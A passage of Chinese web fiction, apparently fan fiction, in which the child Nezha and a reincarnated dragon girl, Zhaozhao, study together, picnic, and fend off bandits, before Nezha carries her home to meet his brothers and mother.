昭昭又静静地盯着哪吒看了一段时间,没从他身上看出什么特别。默默在心中道了句你是学士又怎样,我可是女士,就把自己的头扭回去听课:“你要无聊就睡觉吧,下课后我会给你补上的。”
哪吒:“?”
说真话,没龙听?
他心中燃起愤怒的火苗,刚想离席,却发现自己膝盖上出现落雨般的动静。
哪吒低头看见龙女的手搭在自己的膝盖上,正在鬼鬼祟祟地在摸索什么。
眼看要被她摸到□□,哪吒赶忙伸手去阻止。
指尖相触,瞬间手就被握住。
龙女的手凉润得就像是一块冷玉,哪吒眉蹙起又散开,快若涟漪的出现与消失。
哪吒侧头看她,看见她双环髻上的珊瑚蜻蜓摇晃着金翅震颤,姿态灵动栩栩如生。
“干嘛?”
昭昭没有回答,只用手指在他掌心写着什么。
细小的滑动感,像是露珠在荷叶中摇晃,让人觉得痒觉得奇怪。
哪吒不再理会前面老龟的念道,仔细去感受掌心上被人留下的文字笔画。
晚安?
哪吒不由扭头去看屋中烛台处,见烛台上最粗的蜡烛还没被点燃,他便知道现在外面还是白天。
晚安,是这龙睡前惯用的仪式,每每晚上入睡前只要他还醒着,都能听见她软绵绵地对他说上这么一句。
然后不等他回应,龙女就倒在床上睡得雷打不动,偶尔睡着睡着还会变回原型。
冷硬的龙鳞,丝滑的龙鬃,在这时节抱着睡正适宜,清凉温润,玉枕一般。
像认输般,哪吒不再回想夜间一人一龙睡做一团的景象。
他摇摇头,将笔墨纸砚全推到龙女那边,右手稍稍整理衣袖,哪吒就趴在案上睡去。
而案几下握着的两只小手,牵紧不放。
在时间点滴流逝下,龙女一方冰冷的体温逐渐被哪吒握得温热,冷玉变成了暖玉。
昭昭听身边人的心跳节奏,就得知哪吒已经呼呼大睡。
她心底有些微小的羡慕,虽然自己又回到了现在这个年纪,也没法做到像哪吒这样倒头大睡。
心底念着年轻就是好,昭昭收回心神更认真地听课。晚点她可是要给哪吒补课呢,现在绝不能错过一点知识!
她不允许自己带回家的朋友是个文盲!!!
台上的龟老师瞧着自己的三个学生,一个认真听讲,一个呼呼大睡,剩下那个存在感极强的,她却不知她在激动个什么?
罢了,想自己也是个快千岁的老龟了,就不管小崽子们的事情了。
室内的课哪吒一睡不起,室外的课他却乐得神采奕奕。
无论是骑射,还是与师父交手对练,他都抢得可怕。
昭昭看着还没有长/枪二分之一高的哪吒,他兴奋地用枪将泥鳅将军戳得满场乱窜就觉得好笑。
豆子反追贪吃蛇吗?
还是跳豆。
她侧过头,悄悄笑话他们这武学老师,眼角余光却瞥见自己此世的哥哥,他不自量力地去找哪吒挨打去了……
就…实力不嘉,算他勇气可嘉吧。
昭昭抬起手为筷子细长条无声鼓掌。
上午的文学课,哪吒百无聊赖,下午的武学课,哪吒威风凛凛,连续几个时辰的酣畅淋漓,让他一扫之前的萎靡。
可惜他乐完没多久,就被昭昭拉着去到室内补课。
“你别晃神,快看这里,看这里刚才我说的你听懂没?”
纸上的墨字虽笔触幼稚,却是落笔工整,一行行队列整齐地刺着哪吒的眼睛。
他支着下巴低头,看着龙女点在纸上用力到泛红的手指,深觉她是在折磨自己。
三清祖师在上啊,此前他没交朋友时,怎么没谁来好心告知他,他以后从妖魔那受到的折磨,还没有从朋友那受得多!
昭昭见哪吒又在走神遂大声道:“哪吒,你要认真听讲啦!”
哪吒含糊地应了一声,蔫巴巴地继续低头受丑字戳眼之苦,僵着脖子若木雕石刻般受昭昭的摆弄。
若是过家家,哪吒绝对是个合格的人偶,可在学习上就不行了。
昭昭瞧着哪吒,是立时明白上辈子老师为什么说看你学习的那个样,我就知道你在敷衍了。
这真是看得出来啊!!!
昭昭哼了一声,坐得更靠近了哪吒一些。
她握住他的手,准备带着他将自己默写下来的课上内容抄写一遍。
“喂,你放开。”哪吒感觉昭昭整个人都趴在自己背上了,连忙侧头闪避她的靠近。
他是睁开她,怕大力将她击飞,而力道小些却完全挣脱不得龙族巨力。
一时被龙拿捏住的哪吒,连此刻细微的闪避,也像是撒娇。
“我不写,我全记住了的。”
昭昭听哪吒这么说,忙放开他的手,道:“那好,你证明给我看。”
哪吒不自在地将手中笔掷开,将自己不久前看遍了的纸上内容,完整背诵了一遍。
昭昭见哪吒没背错,嫉妒地往他胸前捣了几拳:
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“你过目不忘啊!”
哪吒接住她的最后一拳,捏住她的拳头笑道:“怎么?你嫉妒我?”
“有点。”昭昭哼哼唧唧道。
哪吒轻笑一声松开昭昭的手,凑到她面前问:“现在轮到我考你了!”
昭昭不解地盯着面前人跃跃欲试的眼睛道:“你要考我什么?”
坏了,这家伙不会仗着自己是个过目不忘的小天才,然后对她进行精神霸凌吧?
补药啊!补药遮阳啊!
哪吒他没有如昭昭想象的那般,用智商碾压她,他只对她张开手在面前摇晃:“你怎么在下午上课时偷懒了!”
哪吒的手掌上遍布着许多厚茧,它们泛着淡淡的黄色,像是新生的半透明桃胶一般黏着在他的手上。
昭昭盯着哪吒的手看,此刻是完全不敢和哪吒发生半点眼神交流,心虚到了极致。
她是真没想到下午他玩得这么开心,竟然还有心思关注她有没有认真学习。
诶,不是吧,他不会真的是天才吗?
想着想着,昭昭就唱了起来,回过神后她连忙去抓哪吒的手:“不算偷懒,我只是不想学那些兵器。”
她捏着哪吒的手,忍不住用指甲在他硬弹的茧上,掐出一个个小小的弯月牙。
这感觉比上午时的牵手还要奇怪,哪吒强忍住自己缩手的动作。
此时要这样躲了她,弄得自己像是怕了她一样。
哪吒不愿意在龙女面前示弱,只蜷缩了几下手指,便装出一副不在意的样子。
“那你想学什么,我都能教你。”
“哇,哪吒你真厉害。”昭昭例行对人进行礼貌夸夸后,就道:“我想学水袖。”
哪吒因为这个回答愣住了几息后,诚实发问:“这是什么武器?”
见他不知道,昭昭就连说带比划地给哪吒将了许多水袖的美和仙,还有重点是非常符合她龙女这个身份的逼格!
哪吒听昭昭说话,听得脑袋都大了。
此时,他才发现在自己印象中粗通武艺的小伙伴,她其实在武道一途上一窍不通。
之前一路与他降妖除魔,这条小龙真的只是在仗着自己的肉身强悍,在纯纯得莽……
哪吒小手捂住自己的额头,发出一声痛苦的呻/吟:“你说的这不像打架,像是在跳舞!”
昭昭猛猛点头:“是啊,又仙又美!”
她说完,便又见哪吒面上的神情好似又痛苦了几分。
对此,昭昭没有选择善解人意地另挑一个兵器学习,也没有放弃折磨哪吒。
她另辟蹊径,选择向哪吒进行文化输出!
她从古早的白娘子开始,依次又给哪吒说了小龙女与欢天喜地七仙女的故事。
这些故事听得哪吒眼神都空洞了。
等对上昭昭如传教者般火热的眼神,哪吒干巴巴地夸了三字:“美美美!”
这夸赞全靠毅力,是一点水分也无。
哪吒虽然觉得昭昭说得那些故事都很有趣,但他不能违背自己的良心和家中日复一日的武艺教导。
她口中花里胡哨的那些玩意,打起来是真不顶用啊!
实战起来,用不了两回合,她这条龙就能被对手拧成麻花……
昭昭俨然已经看出了哪吒此刻的应付,她气道:“你不是说你什么都会教我吗?!”
哪吒磕巴着:“我、我、我……”
他连着我了几个字,也没我出个结果,惹得昭昭去摇晃他的肩膀:“你莫非要承认自己不是什么都会了?”
“才不是!”哪吒同样按住她的肩膀口中拒绝道。
哪吒小小年纪却是个说到做到的人。
他艰难地往自己腰上一瞥,决定了,就是混天绫!
都是长条布,耍混天绫应该和舞水袖差不多吧?实在不行,他想想怎么用布耍出鞭法,也是可行的。
哪吒与昭昭水盈盈带着笑意的眼睛对视片刻,随后扭过头对着一旁的空气说道:“等我自己先学会水袖了,再教给你。”
11.第 11 章
哪吒放下话来,要教人,他便没有丝毫懈怠地用心钻研。
可到底是在自己不适应的路数上,去推演些花里胡哨的武艺,昭昭看哪吒愁了七/八日后,便拖着他去外面散心去了。
一人一龙在外,是上山打虎下水捉鳖,遇恶除恶,玩的不亦乐乎!
当然野外散心必不可少的烧烤,哪吒也给昭昭安排上了。
昭昭她仗着自己这辈子,吃生食也觉得味美的胃口,鼓动着哪吒尝试去坐叫花鸡。
她想敲泥巴球玩,被哪吒讽了一句小儿心性,也依旧心中快活。
她现在本就是小龙一条,贪玩些很正常!
哪吒又一次被龙女噎住,只好默不作声说句自己去找香料调味,就一头往林中钻去。
哪吒在林中寻到了姜苗野蒜,正蹲在路边挖着,却忽然扭头望向身后一处树丛。
只见原本平平无奇的树林,在过了一会儿后,从中突然发出了折断树枝的异样声响。
哪吒看见暗处,钻出一个形容邋遢的壮汉。
这人瞧见了他,便一脸兴奋地向后招呼道:“就是这里,我们没找错!”
就是这里?
哪吒站起身问这人:“你们是顺着烟雾寻来的,你们过来是要做什么?”
林子中钻出十几个男人,他们身上穿着的衣服绸麻混合,一层层地裹在身上。山风吹过,哪吒从这人站立的方向,闻见了新鲜的血腥气。
这血气和哪吒曾在无数妖精洞府中闻见的气味无二。
都是人血的气味。
领头的男人,看哪吒居然有胆量与他们说话,便故意对着他凶恶一笑:“小孩儿,快将你脖子上的金项圈摘了给我!若你听话,等会儿我会考虑将你先杀后煮的!”
他说完话,围在他身边的其余几人都压低声音笑了起来。
哪吒不回话,只向他们身后望去,又见着两个背着大袋子的男子,紧紧缀在这些人身后。他们目光贪婪地盯着自己,活似在看一只待宰的羔羊般垂涎。
哪吒他默默松开手,手中握着的野蒜啪嗒一声落在地上,惹来这伙野盗的嘲笑:
“之前看他还有胆量与大哥您搭话,我还以为这小儿胆子有多大哩?”
“哈哈哈哈哈哈,不过是个乳臭未干的黄毛小儿一个,你们看错他的胆量了哈哈哈哈!”
“你们看他都吓得主动要把项圈摘了给咱呢!”
“乳臭未干?”哪吒低声的自言自语重复。
哪吒平日最恨人轻视自己,特别是因为愚蠢的年纪小为由。
他生得晚,上面两个哥哥年纪大得都能当他的爹了。三人玩不到一块去不说,哪吒经常还会因为年纪小、对外出手狠辣的原因,受头顶上两个哥哥时时训诫。
哪吒年纪还轻,心中就早有一件恨事,那就是他投生成了,家中年纪最小的孩子此事。
若他是大哥,这家中哪还有李靖当家做主说话的时候!
野盗无心的玩笑话,正戳中了哪吒的痛处。
哪吒无意与这些人再做纠缠,他略一环顾四周,便摘下乾坤圈朝人群中飞掷而去。
在一阵筋骨碎裂的粘黏声响过后,林中便只余哪吒一个人的呼吸声,还在不疾不徐地响起。
哪吒无心为这些作恶多端的人,收敛尸骨。他抬腿往扛着袋子的,那两个人的尸首走去。
解开两个袋子,哪吒看见一个袋子中装着些新鲜肉块,一个袋子中装着的是些被踩扁捏弯的金银器物。
见状,他便重新将那个装着肉块的袋子系上,又在旁边找了个干净的地方挖,坑将其埋在地下。
最后哪吒折了棵手腕粗的树枝做了墓碑,这才背起其余一袋财物,拿起香料,回到龙女等待的火堆旁。
留在原地等待的昭昭,此时她正盯着树杈上处理好的五只鸡发呆。
等从空气中闻见了哪吒的气味,她才扭头向左,转去看他。
哪吒身上带着股新鲜的血气,察觉到这点的昭昭,随后又看见了他背后负着个大袋子,忙问他:“你刚才遇见了坏人,怎么不叫我?”
哪吒摇头:“小事而已。”
说完他便将背上的袋子,放在昭昭面前道:“这些都是盗匪们抢来的财物,你拿去玩着,我去给你做叫花鸡。”
“这些是什么啊?”昭昭解开袋子,伸手往里一摸,摸出个变形的银碗拿在手中瞧。
她看着碗壁上精致的花鸟图案,可惜道:“怎么坏成这样?”
哪吒在一旁用着凉凉的声音,回答:“因为只有踩扁了,才能尽可能带着更多的财物逃跑。”
昭昭:“!”
她被这个现实的答案,震得浑身发麻,随即忙往布袋子中去看。
昭昭在袋子中发现了无数让她背脊生寒头皮发麻的小细节。
踩扁的金银器略过不谈,昭昭从袋子中瞧见了缠着发丝的钗环、勾着碎肉的耳坠、还有卡着戒指的手指。
昭昭头一次见识这种真实的赃物,她看看东西复又看看哪吒,大声叹气:“那些强盗真是死有余辜!”
哪吒点点头,对昭昭抱怨道:“我也这么觉得,可惜家里人跟我不是一个想法。”
外出玩了这么久,哪吒还是第一次想起家中的父兄。
父子四人不同的行事作风,常常发生冲突后导致家中气氛压抑,久而久之他们便都不喜欢聚在家中。
昭昭大为不解地跟着抱怨道:“作恶多端的人,不杀了以慰人心,肃正风气,留着浪费粮食干嘛?!”
哪吒赞同地说:“我也是这么想,以杀止杀,这才能威慑更多作恶多端者。放下屠刀立地成佛这个因果关系,我不接受。”
昭昭头一次,听哪吒说起他家中的其余人,不由好奇追问:“你家的人除了你之外,都是和尚、修士吗?”
这么善???
哪吒:“差不多吧?”
他回忆着自家两个兄长未剃头落发的装扮,回答得有些犹犹豫豫。
昭昭看哪吒不说话,又问他:“那你呢?哪吒你以后也要出家当和尚吗?”
哪吒摇头:“我才不做和尚,做和尚有什么好的?我以后要做降妖除魔的神仙将军,以杀止杀,负业渡生!”
说起未来,他的眼睛放出别样的光芒。
昭昭听着哪吒言语中描绘的未来,很是高兴小伙伴也有着不下于自己的雄心壮志,遂笑着靠过去拍他的肩膀:“
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那你以后可厉害了,苟富贵毋相忘呀!”
哪吒被昭昭一捧,忙笑道:“绝不会忘记你的,到时候我接你去天上玩。”
昭昭顺势与他开玩笑道:“那哪吒你以后要做个厉害的神仙,我想尝尝蟠桃是什么滋味。”
“蟠桃?”哪吒没想到昭昭她还知道这个。
他也不管自己将来,能不能在天上宴席上保有一席,提前和昭昭说道:“我记下了。”
得了小伙伴的一个承诺,昭昭随即也对哪吒夸口道:“等以后我做了龙王,就把龙宫里的将军一职,留给你。”
哪吒也不考虑长大后的自己,忙不忙得过来,对于龙女给出的邀请,是满口应承。
火堆中已埋下处理好的整鸡,昭昭和哪吒并肩靠坐在一起,望着星空,都期待着那远在未来,刚才只他们口中幻想出的己身虚影。
“好想快些长大呀。”
“我也是。”
星河灿烂,在皎洁的月色下,昭昭和哪吒分食完叫花鸡,灭了火堆,也不理会地上散落的金银,打打闹闹地一路跑回了碧波潭。
然而在这次散心结束后,未等到哪吒将昭昭期盼的水袖功夫,练到极致,他就先等来了寻上门来的家人。
哪吒的大哥,是个身形高大相貌却生得秀气的人。昭昭与他见面时,还被送了一个羊脂玉的坠子作为见面礼。
昭昭对哪吒大哥的第一印象挺不错,但这好印象却终止于这人和哪吒见面后的举动。
她看着哪吒哥哥的风度,从文质彬彬咻地一下跳跃到暴跳如雷。
他揪住哪吒的耳朵一顿大骂,离开时拎起哪吒的后衣领,提小狗般将人提着,便想告辞离了龙宫。
同为小孩子,昭昭知道哪吒现在这姿势有多难受。
她刚想开口在哪吒哥哥面前,为她说些好话,却又看到了哪吒对自己使的眼色。
什么叫做,他等下就回来找她呀?
昭昭闭上了嘴巴,却从眼睛里透出对哪吒的担忧。
惹人生气后被当场抓获,就装一段时间的老实啊……
头那么铁干什么?头铁屁股不铁这个道理,昭昭决定在下次和哪吒见面时,告诉他知晓。
金吒提着幼弟在空中溜了半晌,到底是见不得,他在半空晃荡的可怜样,伸手将他抱在怀中。
他与哪吒双目对视,语重心长地说:“哪吒你知道错了没有?你下次若还要在别人家停留客居,要记住先回家给家里人说一声。”
“我和你二哥前几日回来,将家附近的方圆百里都翻遍了,还找不见你,急得都想回去找菩萨相帮了。”
哪吒听完了大哥他絮絮叨叨的一长段话后,平静道:“我说了呀!”
金吒盯着哪吒黑白分明的一对大眼睛,有些心累:“你和谁说了?”
哪吒:“母亲。”
所以在你心中家里人就只有母亲一个吗?
金吒忽地有些想要扶额叹息。
眼下想叹气却忍住了的金吒,他是万万没想到他此时不叹,一日后却要翻倍地捶胸顿足。
因为在他们兄弟两个回家半途中,哪吒趁着夜色跑回碧波潭的龙宫,将万圣龙王的公主给偷了出来!
12.第 12 章
小伙伴离了龙宫,昭昭平日里与龙哥的关系又不亲近。她回了房间,望着床上另一侧,失了主人的铺盖,便觉得心里空落落的。
好在这情绪的低落,只存在了两三秒的时间,她很快想到以后自己又能独霸一张大床了,便心生喜悦。
夜里白天的,她想打滚便打滚,想绕柱就绕柱。再不用担心吵到床上另一个休息后,而被抓住爪子,塞进被子里,或是被握住鳞身,被压住不许乱动。
年纪尚小,无论好坏的情绪,都在龙女心中转瞬即逝。
她总能在下一刻找到些新的快乐,来让自己微笑。
昭昭面朝床榻倒去,一在阵水波荡漾中,人身化作龙躯,将两床被褥翻滚着压在身下。
朋友的离开,让龙失落,所以龙准备疼疼自己,让老己在床上酣梦大睡个几天几夜!
在昭昭睡着后没多久,房间的窗户忽然被一只小手拨开。
窗户缝中露出一双黑葡萄般的眼睛,正从外面向内张望。
屋内在床上睡得翻肚子的龙,被这双眼睛看了个全部。
随后窗户敞开的缝隙,又被拓宽了些,一条瘦弱似先天不足的幼龙静悄悄从外飞入。
万圣龙子,他悄无声息地落在床上,紧贴着自己一母同胞的妹妹万圣公主。
他紧张地望了一眼身旁熟睡的妹妹,见自己发出的动静,没有将她从梦中惊醒,才用水珠将烛火射灭。
屋中一片漆黑,仅余水中波光映射后,万圣龙子便得以与妹妹同塌而眠。
他想自己才是与万圣公主血脉相连的兄妹,在同床共寝这件事上,可比那李哪吒可名正言顺多了!
只要他悄悄地来,悄悄地走,不让妹妹察觉,就不会被妹妹讨厌。万圣龙子边在心里这样给自己打气,边依偎着妹妹进入了睡梦中。
而梦中被熟悉气息接近的昭昭,她皱着眉卷卷胡须,没有为难自己去马上清醒,而是继续奖励自己在梦中遨游。
说好的奖励老己,她可不会中途食言。
于是在这般机缘巧合下,碧波潭内这对同时破壳出生的兄妹俩,在时隔多年后又一次尾巴缠在一处,亲密无间地贴首共眠。
潭底无声,龙女闺阁内,正是一副兄妹情深的美好图景。
可这景落入不声不响潜回龙宫内的哪吒眼中,这就不是那么美丽了。
漆黑的室内,哪吒站在床前,一把掀开帷幔,眉头紧锁地盯着床上的两条龙。
他想是昭昭骗了自己吗?
这个想法刚生出又即刻湮灭。哪吒想昭昭她不会是那种谎话连篇的龙,虽然她平时说话做事,的确是巧言令色了些。
哪吒既然是在心中认定了昭昭没有说谎,那做错事的龙便只有另一个了。
他冷眼看着床上昭昭被缠住的尾巴,下一瞬是放下帷幔,伸手就朝床上的龙抓去。
青色的、肥的那条是自家的,白的,像筷子的那条是别的龙。
混天绫按照主人的心意而动,它将万圣龙子堵嘴捆住,放置在旁,就安心等着主人稍后处置。
哪吒当着从梦中惊醒的万圣龙子的面,披着他愤怒的目光,伸手强行解开了二龙缠绕的尾巴。
随手将白龙尾丢下,哪吒提起昭昭,就将她的龙身往身上缠。
许是哪吒动作粗鲁了些,龙女动动脑袋,就嘤嘤呜呜地从梦中抽离。
昭昭感觉有人正握住自己当麻绳使……
有些心烦,但又知道敢这么对待未来龙王的人只有一个:
“哪吒,你干什么呀?”
他回来找自己,竟然会找得那么快?
昭昭闭着眼睛不想睁开,却觉尾巴上的动静太过扰龙,正想闭着眼给扰龙清梦的哪吒一口时,忽又被他捧着脑袋顺毛:
“睡吧,等你睡饱,我再与你玩个好的。”
龙女下颌处的龙鬃被人用手梳理,龙角根部也被手指温柔按压。
细腻的顺毛动作,让本就不想起床的昭昭更不想睁眼了。
她哼了一声,龙躯用力往哪吒身上一绞,当做是了宣泄不满,就顺着困意继续坠入梦中。
龙族巨力,若不是哪吒乃先天道体,降世后修道又如有神助,他差点被昭昭这一勒之力,贯倒砸地。
被巨力加身的哪吒,他原地紧急扎了马步稳定身形,嘴中轻嘶一声后,颤着手将昭昭的龙首搭在肩上。
往日知道她力气大,却没想到居然这么大!
哪吒觉得自己呼吸不畅,却碍于面子不肯在万圣龙子面前露怯。
他在自己身上安置好昭昭了,才侧首去看一旁眼泪都已经气出来的万圣龙子。
哪吒拧着眉,他对于眼前这条小龙表现出的愤怒与委屈,大感疑惑。
“你违背昭昭的意愿与她同寝这不对。”
哪吒向幼龙道明了她的错处,却又见他眼中不服更甚。
哪吒一向是对于自己眼中,不在乎的事与物从不多言 若不是这万圣龙子与昭昭有亲,他才不会理会这条浑身散发着蠢气的小龙。
他不再多言,拉住混天绫一端,将床上的白色幼龙摔在地上。
将万圣龙子摔得晕过去后,哪吒收回混天绫,抬脚就走,三两步翻窗而去,游出了碧波潭。
眨眼间出了水面,哪吒扶住靠在自己肩背上的龙首,便连吸几口气。他胸闷得想捂肚子,掌下碰到的却是冰凉如玉的鳞片。
发现不能揉胸挼肚得个喘息,哪吒便不再耽搁,背着昭昭就施展土遁,急急忙忙往昨夜与兄长过夜的小树林处赶。
他在碧波潭处往目的地处赶,金吒此时也从原地向外奔。
金吒心中是有些崩溃的。
他单知道幼弟精力旺盛,却也没想到他就一个小憩的功夫,好端端坐在火堆旁的哪吒,就从自己身边消失了!
小小的一个,也太能跑了!
金吒在周围前后五十里找了一圈,寻不见哪吒的身影,只好又向更外边寻去。
金吒心急,哪吒也不差。
冷不丁赶路的两人,谁都没想到会鬼使神差地在半道上,与对方撞了个正着!
金吒:“……”
哪吒:“……”
“哪吒,你身上缠着的这是什么?!”金吒猛地连眨几次眼,看着幼弟身上背着的条状物,只觉眼前一黑。
哪吒拍拍龙身,一脸得意,活似从外面叼树枝回家的小狗般自信:“是昭昭!”
金吒:“嘶!———”
这名字,好像是他不久前刚听到过的!
“我既然去她家坐过客,来而不往非礼也,这次换我请她去我家做客!”
金吒闭上了眼睛,顿了顿,才缓缓睁开:“碧波潭有谁知道你这么做吗?”
哪吒未察觉到兄长的情绪,已处在发怒的边缘。
他想到自己带昭昭走时,她的兄弟就在旁边,随即百分百确定的点头道:“之前我给昭昭说过的。再者我带她走时,她哥就在旁边。”
金吒:“这样啊,那就没事了。”
自小离家,与幼弟相处时间不多的金吒,他在此时还未完全领会哪吒的语言艺术。
他现在是真以为,哪吒所言和他所理解的意思相等。
稍稍烦恼了一会儿,金吒就接受了自己出去找一人,回家时却带回两个的结果。
金吒的眼睛往昭昭身上瞟去,见她缠在哪吒身上一动不动,便问:“她这是睡着了?要我帮忙吗?”
哪
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吒拒绝道:“我背得动。”
金吒看哪吒脸不红气不喘,就知道他不是再逞强,随即不再耽搁,驾云就带着这两个小的,往家赶去。
先前还只哪吒一个跑丢,是自家弟弟,怎么样都好处理,现在身边多了一个龙宫的娇小姐,金吒可不觉得自己对着矮墩墩的小姑娘,教训得下手。
两人一龙落下了云头,便在山巅的松树下看见了来迎他们的家人。
在哪吒眼中二哥木吒暂且不说,离家多日,没见着母亲还好,现在见着了母亲,哪吒心中的思念若泉涌般在身体里咕噜噜窜动着。
“娘!!!”
看见母亲殷氏,哪吒笑奔着往她怀里冲去。
眼见要扑入母亲怀中,哪吒却又被人提溜在手,拦阻在半途。
哪吒扭头怒视这人,却未想他哈哈大笑道:“娘的身体可比不得你我,你如此莽撞冲将过去,可想会伤着她?”
木吒抬手将幼弟抱入怀中,连着龙在一起,沉甸甸朝他压去,很是重手:“豁,许久没见过长得这般好的龙了。”
木吒低头往缠在哪吒身上的青龙看去。
见这小龙鳞片生光,上有五彩,鬃毛丰美,鼻头湿润,木吒便喜爱得想伸手去拉她的爪子。
啪一声皮肉脆响,木吒是又得弟弟的一个怒视。
“你干什么?”
“我看她长得好,想摸摸她的鳞爪罢了。”
木吒吃痛,缩回手也不生气,转而笑着去拍哪吒的脑袋:“你怎还是这般霸道的性子?”
哪吒摇头甩掉二哥搭在他头上的手,道:“你才是变得奇怪了,一点礼数都不讲!”
木吒失笑:“我?”
哪吒:“就是你!和人姑娘什么关系都没有,就敢往人家身上乱摸!不要脸!不知羞耻!”
木吒被哪吒说得愣住,脸上的表情逐渐消失,却惹得金吒和殷氏一同笑出声。
木吒受到哥哥和母亲的取笑,他回过神掂掂怀中的小孩与幼龙,反问哪吒:“你这话说得大义凛然,那哪吒你与这小姑娘是个什么关系?”
哪吒挺起小胸脯自信道:“我可是昭昭最好的朋友,她只有我,我也只有她!”
金吒听哪吒这话孩子气的厉害,随即也站到木吒身边,与他一同逗弟弟:
“哪吒你这话说得不对,朋友哪有这样相处?你这样想难道日后要与她做夫妻吗?”
木吒跟着哥哥一同,对幼弟起哄道:“就是就是!”
眼见两个大儿子逗小儿子,逗得越来越过分,殷氏笑着想上前阻止,却听见小儿子郑重其事道:
“我没想过我和昭昭还可以那般相处…嗯……若她愿意的话,我以后对她,会比爹对娘还好。”
殷氏愣住了,心想原来在哪吒眼中李靖对自己是不够好的吗?
她仔细回顾与丈夫相识至今的记忆,却没从回忆中察觉到一丝一毫的不满。
身边成家的人,似乎都这样,而自己的话比较起来,还更幸运一点。
脑中有股不妙的预感在阵阵躁动,迫使殷氏不再继续深思下去。
她笑着上前,从二子木吒怀中接过哪吒。
殷氏连带着哪吒身上,缠绕的青龙一同抱起。
她亲昵地捏捏哪吒头上的小髻,笑着在他耳边说话:“这次回来,哪吒又有什么降妖除魔的英雄事迹,要来说与母亲听呢?”
哪吒的眼睛唰地一下亮起来,目中中光灿若日下镜光,晃得殷氏心中软软的。
她最调皮,也是最爱的孩子呀。
无论他以后做出什么选择,她都会支持他。
喜欢一条龙,这很好呀。
龙可比人活得久,在修行一道上也比人有天分。
13.第 13 章
昭昭一觉睡起来,险些以为自己又穿越了…
睡前在水里,睡醒在山上,抬头向窗外望去,云雾缭绕烟霞丛生,飞鸟横渡山巅,画面极其的语文书。
昭昭望着窗外美景,本持着敌见不着,那我暂时不动的中心思想,支在床上默默发呆。
而等哪吒给母亲殷氏,讲完自己外出这段时日,所经历的历险故事后。他回到房间,映入眼帘的就是青龙盘榻静止不动的这一幕。
“哼,昭昭你都睡成大小眼了,傻不傻?”
“你才傻呢!”昭昭一时没认出说话的人是谁,只听见有人在骂自己,人形都顾不及变化,掉转龙头就是回嘴。
哪吒走过去,抬手往龙头上一拍,哈哈笑道:“本来就是!”
“哼!”
床榻上的青龙跃起,再次落地时已变成人形,身上着青衣头顶双环髻的女童,叉腰站在了哪吒面前。
她双手叉腰,怒瞪着哪吒道:“你别拍我的头,若是害我长不高了怎么办?!”
哪吒望望自己的手,又瞧瞧龙女的头,迟疑道:“没这个说法吧?”
昭昭没回答哪吒的话,她问他:“你这是把我带哪来了?”
哪吒:“你在家睡觉睡得太死,我没扰你睡眠,一路将你抗来我家做客了。”
“原来如此。”昭昭点头表示自己明白了。
“你家有什么好玩的?”
哪吒道:“我带你来,是一同苦修的,你别想着整日的玩乐。”
对于小伙伴的劝学,昭昭点点头后又摇摇头道:“我可是龙,能活好久好久呢,学习学得匆匆忙忙,有甚趣味?”
她的话让哪吒一愣,随即反应过来了他们两个对时间理解的不同。
按道理来说,哪吒觉得自己的时间观念应与昭昭相同,他可是父母入道后所生之子,寿命并不像平常凡人一般漫长。
可,哪吒就是觉得时间紧迫,光阴分寸可惜。
“你说得也没错,我带你见我母亲去。”
哪吒没有因为昭昭与自己观念上的不同,而和她争辩,选择了先带龙女去见见自己的家里人。
昭昭见到哪吒的母亲,殷氏长得很美,面容姣好,神情慈爱。
她拉着昭昭的手,温温柔柔地引她做在自己身旁。
殷氏先是夸昭昭天生丽质,又谢她在外对哪吒的照顾。
昭昭一时听得脸上是又羞又臊。
她何时有照顾哪吒,平日里经常忍不住地悄悄欺负他才是。
对上美人阿姨的脸,昭昭感到自己面上温度又增加了不少,随后便用眼角余光去瞟哪吒。
这小不点,有没有向她妈妈告自己的状呀!
她偷看哪吒的举动,被殷氏看在眼中,随即拦着她又是一阵乖乖娇娇的搓揉。
昭昭快被殷氏这过分亲昵的举动搓炸鳞了!
两辈子,她都很少和年长的女性这么亲密,一时无措地想贴近殷氏,又一时地想要推开她。
昭昭短短的两世中,第一次体会到别人的喜爱,也是会扎得龙惊慌失措的。
求助的眼神递到哪吒这里,哪吒放下手中咬了一口的茶果子,反倒是托起下巴来观赏昭昭的大红脸。
没有现在这一出,他还真以为她是真的不知羞呢!
哪吒看戏的举动,让昭昭的脸色变得更红了,小小的耳珠也滚烫滚烫的,像是点了胭脂。
殷氏瞧着这对小儿女的互动,好笑之余也怕小儿子真把人家小姑娘惹恼了。
她最后捏捏龙女的脸蛋,就将他们推出门外道:“你们自己去玩吧,我还要继续给夫君补衣服。”
昭昭站在门外,在殷氏将门关上后,立刻原地蹲下捂脸。
哪吒看昭昭蹲下了,自己也跟着一同蹲下。
他抱着手臂,将脑袋放在臂弯,歪头盯着昭昭看:“你刚才到底在羞个什么呢?”
昭昭有心想给哪吒说说自己的心里话,话到嘴边又突然意识到,哪吒是个男孩。
性别与自己不同,昭昭心中便生出了羞耻,生怕他看出自己与年长女性亲近后,所产生的心慌惊悸。
这种感情是她一个人的兵荒马乱。
余光忽见脚下的砖缝中,有半截蚯蚓的干尸,昭昭心念一转,悄悄将虫尸藏在手心。
“哪吒,你伸手过来,我给你看样东西。”
“什么?”
哪吒依言伸手过去,手心一凉,低头就望见了自己手心上躺着的半截虫子。
哪吒面不改色地将虫子摔到一旁,语气半是抱怨又半是无奈地道:“又想捉弄我。”
见龙女期待的目光朝自己游来,哪吒淡定地说道:“我才不怕这个。”
昭昭有些失望地喔了一声,在心中暗道这小子是越来越不好逗了。
想着总蹲在母亲房前,不像样子,哪吒伸手拉住昭昭的手,自己站起身时,同时将昭昭也从地上拉起:
“我带你去见识见识更好玩的虫子!”
昭昭挣开哪吒的手,在同意前先向他抱怨:“你拿摸过虫子的手,牵我!”
哪吒:“……”
他瞪大眼睛望着昭昭,觉得她又开始不讲理了!
明明是她先把虫子丢到自己手上,想吓唬自己的,现在又来倒打一耙!
要嫌弃,也是自己嫌弃她邋遢才是。
哪吒有心想和昭昭理论,忽又想到自己不久前在两个哥哥面前夸下的海口。
哪吒咽下口中欲要与龙争辩的话,转而从怀中摸出一张帕子。
他先给自己的手擦了一遍,又去给昭昭的手擦一遍,道:“这回你我都干净了。”
昭昭瞥见哪吒手中的巾帕,觉着本就爱干净的人,回家后的爱洁程度又上了一层楼。
这样,让她都不好意思继续在他身上发小脾气了,这样显得自己好像不是很爱干净。
“我们去看你说的虫子吧。”
“跟我来!”
两只小手重新牵在一处,一个拉着另一个朝远处的竹林跑去。哒哒哒的脚步声落在屋内人的耳中,惹得她低头轻笑,小儿女不知愁,总将嘻闹度闲日。
